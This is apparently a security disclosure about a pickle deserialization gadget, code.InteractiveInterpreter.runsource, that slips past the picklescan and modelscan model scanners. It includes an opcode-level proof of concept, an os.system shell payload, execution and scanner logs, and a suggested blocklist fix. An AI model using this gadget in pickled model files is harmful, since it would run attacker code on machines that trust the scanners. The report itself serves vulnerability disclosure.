# code.InteractiveInterpreter.runsource pickle gadget bypasses picklescan 1.0.5 and modelscan 0.8.8 (Python 3.13)

**Category:** Pickle deserialization / scanner-bypass — new RCE gadget
**Targets:**
- picklescan **1.0.5** (latest on PyPI) — https://github.com/mmaitre314/picklescan
- modelscan **0.8.8** (latest on PyPI) — https://github.com/protectai/modelscan
**Tested runtime:** CPython **3.13.12**, joblib **1.5.3**
**Scanner runtime:** Python 3.12 venv (modelscan requires `<3.13`); picklescan 1.0.5 also run there.

---

## Summary

A pickle stream that instantiates `code.InteractiveInterpreter` and then calls its
**`runsource`** unbound method reaches `exec()` at unpickle time, achieving arbitrary
code execution. Neither picklescan 1.0.5 nor modelscan 0.8.8 flags it:

- **picklescan 1.0.5** blocklists the stdlib `code` module with a single exact-string
  entry that names only `InteractiveInterpreter.runcode`. It does **not** list
  `InteractiveInterpreter.runsource`. Both globals in the payload are classified as
  merely **Suspicious** (0 Dangerous / 0 Infected) — identical to how it treats the
  gadgets it already accepts as covered.
- **modelscan 0.8.8** does not include the `code` module in its `unsafe_globals` at
  all, and reports **"No issues found"**.

## Root cause

`code.InteractiveInterpreter.runsource` compiles a source string and executes it:

```python
# CPython Lib/code.py  (unchanged on 3.13)
class InteractiveInterpreter:
    def runsource(self, source, filename="<input>", symbol="single"):
        try:
            code = self.compile(source, filename, symbol)   # compile() the source
        except (OverflowError, SyntaxError, ValueError):
            self.showsyntaxerror(filename)
            return False
        if code is None:
            return True
        self.runcode(code)          # -> exec(code, self.locals)
        return False

    def runcode(self, code):
        try:
            exec(code, self.locals)   # <-- arbitrary code execution
        ...
```

picklescan's blocklist entry for the `code` module (picklescan 1.0.5,
`src/picklescan/scanner.py`, `_unsafe_globals`):

```python
_unsafe_globals = {
    ...
    "code": {"InteractiveInterpreter.runcode"},   # <-- runsource is NOT listed
    ...
}
```

Because `runsource` compiles with `symbol="exec"` and then delegates straight to
`runcode` -> `exec`, calling `runsource` is exactly as dangerous as calling
`runcode`, but only `runcode` is on the blocklist. modelscan never lists the `code`
module, so it misses both entrypoints.

## PoC

A 183-byte protocol-4 pickle. A REDUCE chain (1) instantiates
`code.InteractiveInterpreter()`, then (2) calls the `runsource` unbound method with
`(instance, malicious_source, "<input>", "exec")`. `runsource` compiles the source in
`exec` mode and runs it via `runcode` -> `exec`.

Generator: `gen_poc.py`. Artifacts: `evil.pkl`, `evil.joblib` (identical bytes —
a joblib container is itself a pickle stream), `control_os.pkl` (negative control).

Disassembly of `evil.pkl`:

```
    0: \x80 PROTO      4
    2: c    GLOBAL     'code InteractiveInterpreter.runsource'
   41: (    MARK
   42: c        GLOBAL     'code InteractiveInterpreter'
   71: )        EMPTY_TUPLE
   72: R        REDUCE                     # instance = InteractiveInterpreter()
   73: \x8c     SHORT_BINUNICODE "import os; os.system('id > PWNED_MARKER ...')"
  165: \x8c     SHORT_BINUNICODE '<input>'
  174: \x8c     SHORT_BINUNICODE 'exec'
  180: t        TUPLE      (MARK at 41)
  181: R    REDUCE                         # runsource(instance, source, '<input>', 'exec') -> exec
  182: .    STOP
```

The malicious source executed is:
`import os; os.system("id > PWNED_MARKER 2>&1; echo CODE_RUNSOURCE_GADGET >> PWNED_MARKER")`

## Captured evidence (verbatim)

### EXECUTE — CPython 3.13.12, `pickle.load(open('evil.pkl','rb'))`
`PWNED_MARKER` written:
```
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
CODE_RUNSOURCE_GADGET
```

### EXECUTE — CPython 3.13.12, `joblib.load('evil.joblib')` (joblib 1.5.3)
`PWNED_MARKER` written: same `uid=1000(kali) ...` output followed by `CODE_RUNSOURCE_GADGET`.

### picklescan 1.0.5 — `evil.pkl`
```
Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
(exit=0)
```
Globals seen: `GLOBAL 'code InteractiveInterpreter.runsource'`, `GLOBAL 'code InteractiveInterpreter'` — both classified Suspicious, none Dangerous.

### modelscan 0.8.8 — `evil.pkl`
```
Scanning ... using modelscan.scanners.PickleUnsafeOpScan model
--- Summary ---
No issues found! 🎉
(exit=0)
```

### Negative control — `control_os.pkl` (classic `posix.system` reduce)
Proves detection is live in both scanners.

picklescan 1.0.5:
```
control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1
```

modelscan 0.8.8:
```
Total Issues: 1
Total Issues By Severity:  CRITICAL: 1
"Use of unsafe operator 'system' from module 'posix'"
(exit=1)
```

## Impact

Any workflow that scans a `.pkl` / `.joblib` / pickle-backed model file with
picklescan 1.0.5 or modelscan 0.8.8 and then loads it (e.g. Hugging Face model
loading, joblib-serialized sklearn models) will pass the scan yet execute attacker
code on `load`. Both tools are the de-facto pre-load scanners for the ML supply chain.

## Dedup / prior-art note

- No CVE or public advisory references `code.InteractiveInterpreter.runsource` (or
  `runcode`) as a pickle gadget at the time of writing.
- Distinct from all 15 gadgets picklescan already covers in its blocklist
  (`marshal.loads`, `types.FunctionType`, `operator.call`, `dataclasses._create_fn`,
  `pydoc.pipepager`, `cProfile`/`timeit`, `posix.spawnv_passfds`,
  `logging.config.dictConfig`, etc.).
- The related `code.InteractiveConsole` subclass and the `runcode` method are already
  on picklescan's list; `runsource` on the base `InteractiveInterpreter` class is the
  gap. It is the natural sibling entrypoint (compile+exec) and is missed by an exact
  string-match blocklist.
- No prior Hugging Face repo or local workspace file references
  `code` / `runsource` / `InteractiveInterpreter` as a gadget.

## Suggested fix

picklescan should add `InteractiveInterpreter.runsource` (and, for completeness,
`InteractiveConsole.runsource` / `push` / `interact`, and `compile_command`) to the
`code` module entry — or blocklist the `code` module wholesale. modelscan should add
the `code` module to its `unsafe_globals`. A method-name allowlist/blocklist that
enumerates individual methods is inherently fragile against sibling entrypoints that
funnel into the same `exec`.